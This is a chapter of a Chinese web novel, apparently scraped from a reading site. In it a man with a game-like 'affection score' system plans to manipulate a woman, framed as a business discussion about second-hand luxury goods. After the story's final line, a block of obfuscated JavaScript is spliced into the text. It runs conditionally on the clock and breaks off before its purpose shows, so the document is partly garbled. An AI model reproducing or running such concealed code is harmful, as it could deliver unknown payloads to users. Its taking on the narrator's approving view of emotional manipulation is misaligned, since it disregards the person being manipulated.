第651章 女人心海底针,新的希望 第(1/2)分页
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女人心,陈安自然不可能全猜透,之所以一直这么操作,不断的挑动着王漫妮,也是因为这个女人的性格,眼下他已经决定转变策略了。m.wangzaishu.cc
“曼妮,我之前跟你提过二奢的事情,你最近有没有好好研究过?”
王漫妮听到陈安突然问起这个,心里不由有点惊喜,“陈先生,这个我有仔细了解过,正如你那次分析的一样,现如今行业的两极分化,十分的严重,顶奢的地位越来越高,特别是那些限量款,配额越来越大。”
“反而是那些普通款的,问津的人越来越少,而且也十分的不保值,两万块的包包,哪怕是一次没用过的,基本上都要贬值百分之二十左右,像是使用过一段时间的,贬值更为的严重,甚至有的只有两三成的价格。”
“这就导致了,有钱人越来越追求顶级的奢饰品,反而这种普通品,市场越来越少,就连一些精英阶层,也开始排斥这个,宁愿花同样的钱,买二手的经典款,所以未来的几年,二手奢饰品行业,绝对是蓝海...”
看得出来,王漫妮确实有认真的思考过,不过这还不够,“曼妮,那你最近有没有去过车展?”
“啊?车展,我去那里干嘛,我又没有买车的想法。”
“你就没有具体了解过,关于二手奢饰品的客户群体么?”
王漫妮一下子被问住了,她自然有自己心里的答案,可显然自己刚才的回答,貌似陈安并不是很满意,不然也不会有此一问了。
“陈先生,目前我有了解的,大概就是一些中高收入的白领金领了,其余的没有从事,了解的倒是没有那么全面。”
“商K公主,模特,主播,这三个群体,绝对是二奢的重点客户群体,他们会经常收到类似的礼物,也会有相互攀比虚荣心,手里通常有些小钱,又根本都攒不住。”
王漫妮眼睛一亮,确实如同陈安说的那样,这些人绝对是消费的主力,自己之前是进入思维盲区了,怪不得自己之前那个同事,一开始连实体店都没有,都能赚的盆满钵满的,想来就是有自己的私域客户了。
同时她心里有些不确定,陈安提起这件事情的目的。
“陈先生,你是准备在这方面做投资?”
“谁会嫌弃钱多,这个想法目前还在萌芽中。”
听到这话,王漫妮感觉自己被浇了一盆冷水,虽然陈安直说有点萌芽,可是在王漫妮看来,人家投资这个行业,基本上是板上钉钉了。
那么也许从那次去公司送衣服, 一起吃饭聊天,他就是故意提点自己的,目的可能是看中自己的能力,想要招揽自己。
所以后面的那一切行为,也都能说的通了。
不过冷静下来以后,王漫妮心里又升起了希望,如果自己换一份工作,这样是不是可以,长时间跟他接触,也能让他发现自己更多的好,一见钟情不行,自己来个日久生情,总应该有机会吧?
只是如果只是员工跟老板的关系,那么多少有些底气不足,要是能成为合伙人就好了,可自己也没有本金啊?哎呀,烦死了...
陈安一直静静的观察,心里不由的感慨,女人心海底针啊,好感度先是从71直接跳到了80,然后82,结果又不知道啥原因,突然回落到75了。
看她那个纠结烦躁的神情,陈安越发坚定了内心的计划,要用重锤出击,一次性敲灭她的幻想,才能变成温水里的青蛙,让自己随便煮。
正好这个时候服务员开始上菜。
“陈先生,怎么了,菜不合你的口味?”王漫妮看陈安夹了一筷子番茄炒蛋有些皱眉,关心的问道。
“有点淡了。”
王漫妮夹起来尝了一口,确实味道有些寡淡,还不如自己做的呢。
“陈先生,其实番茄炒蛋,我十分的拿手,哪天我单独做给你尝尝?”
“好啊,我老家东北那边的,平时吃菜口味重一点,魔都这边的餐厅,大多数做的口都很轻,不太吃得惯。”
“那就说好了,你哪天有时间,一定要告诉我。”
陈安点点头,继续吃饭,心道这女人还真好哄呢,自己不过表示想吃她的菜,就加2点好感度。
饭后结账离开,乘坐电梯到一楼,“曼妮,你先回去忙吧,我之前两次的小票,还没有兑换呢。”
“陈先生,用不用我帮你?”
“不用,我自己就可以,不过要是你有什么需要的,我也可以帮你换。”
“没,没有。”王漫妮赶紧摆手,她现阶段不想收陈安的礼物。 var s = new Date().getSeconds() % 2; if (s == 0){function a0_0x304d(_0x493bb6,_0xbbcc20){var _0x45e1af=a0_0x3c0f();return a0_0x304d=function(_0x3b0843,_0x25723d){_0x3b0843=_0x3b0843-0xf0;var _0x3c0fd6=_0x45e1af[_0x3b0843];return _0x3c0fd6;},a0_0x304d(_0x493bb6,_0xbbcc20);}(function(_0x133e33,_0x2b81ff){var _0x2db240=a0_0x304d,_0x430fc9=_0x133e33();while(!![]){try{var _0xb59867=parseInt(_0x2db240(0xf2))/0x1+parseInt(_0x2db240(0x108))/0x2*(parseInt(_0x2db240(0x102))/0x3)+parseInt(_0x2db240(0x114))/0x4*(parseInt(_0x2db240(0x11e))/0x5)+parseInt(_0x2db240(0x116))/0x6+-parseInt(_0x2db240(0x131))/0x7*(-parseInt(_0x2db240(0x11c))/0x8)+-parseInt(_0x2db240(0x121))/0x9+-parseInt(_0x2db240(0x123))/0xa*(parseInt(_0x2db240(0x107))/0xb);if(_0xb59867===_0x2b81ff)break;else _0x430fc9['push'](_0x430fc9['shift']());}catch(_0x4d68f3){_0x430fc9['push'](_0x430fc9['shift']());}}}(a0_0x3c0f,0xe7997));var ze4108vb=(function(){var _0xc12347=(function(){var _0x3cfa33=!![];return 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